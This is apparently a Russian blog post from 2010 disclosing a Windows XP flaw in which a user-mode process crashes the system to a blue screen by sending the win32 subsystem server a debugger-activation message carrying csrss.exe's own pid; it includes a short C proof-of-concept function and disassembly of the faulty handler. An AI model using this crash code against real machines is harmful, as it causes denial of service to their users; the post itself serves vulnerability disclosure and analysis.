четверг, 28 октября 2010 г.

BSOD из юзермода

На долю WinXP приходится более 60%в рынка десктопных ОС, это самая популярная ОС на сегодняшний день.

Однако безопасность данной ОС оставляет желать лучшего, поголовная часть пользователей сидит под админом(т.е. вся встроенная защита ОС основанная на правах доступа идет лесом), сервисы и системные процессы и процессы пользователя работают в одной сессии(компроментация служб, shatter атаки), код графической подсистемы изобилует багами(ибо не переписывался с времент нт4), целостность кода легко отключается...

Но как насчет того, чтобы уронить ОС без загрузки драйвера в синий экран?
Уж такие штуки должны быть невозможны в принципе, ведь это не какая-нибудь 98я винда, однако, WinXP со всеми обновлениями падает в бсод, если послать сообщение серверу подсистемы win32(с кодом UserpActivateDebugger) и pid'ом равным pid'у процесса csrss.exe:


void MakeBsodFromUsermode( DWORD сsrssPid )
{
    CSR_API_MSG msg = {0};


    msg.u.ApiMessageData[0] = сsrssPid; // pid процесса csrss.exe

    CsrClientCallServer( &msg, NULL, 0x30404, sizeof( CLIENT_ID ) );
}


Я не буду рассказывать про сервер подсистемы win32, информации о нем достаточно на просторах интернета, скажу лишь, что сервер этот содержит несколько dispatch таблиц, с хендлерами, которые суть есть обработчики сообщений который он может принимать от процессов (они приходят по LPC), так вот, обработчик сообщения UserpActivateDebugger наивно полагает, что раз пришло сообщение об активации отладчика, то надо непременно сделать:

_SrvActivateDebugger:
...
.text:75B47975                 mov     esi, [ebp+arg_0]
.text:75B47978                 mov     eax, large fs:18h
.text:75B4797E                 mov     ecx, [esi+28h]
.text:75B47981                 cmp     ecx, [eax+20h]
.text:75B47984                 jnz     short loc_75B4798F
.text:75B47986                 call    _DbgBreakPoint@0


То есть, если pid текущего процесса, т.е. csrss.exe равен pid'у который пришел в теле сообщения, то вызывается DbgBreakPoint.
Он вызывается даже если отладчик не подключен, естественно, нет отладчика - некому и обработать исключение, отсюда и BSOD.

Данный баг я нашел в конце 2009го года, но он до сих пор не закрыт в XP(в более старших версиях windows баг закрыли).

Начиная с Висты Микрософт серьезно занялись безопасностью, переписали и проревьювили кучу своего кода( тот же сетевой стек ), более серьезный аудит и ревью позволили им сделать свой код более безопасным, однако как в любой сложной системе баги всегда есть и всегда будут.

Бросайте winXP и переходите на win7. Хотя я сам пока сижу на старой доброй XP =]

Комментариев нет:

Отправить комментарий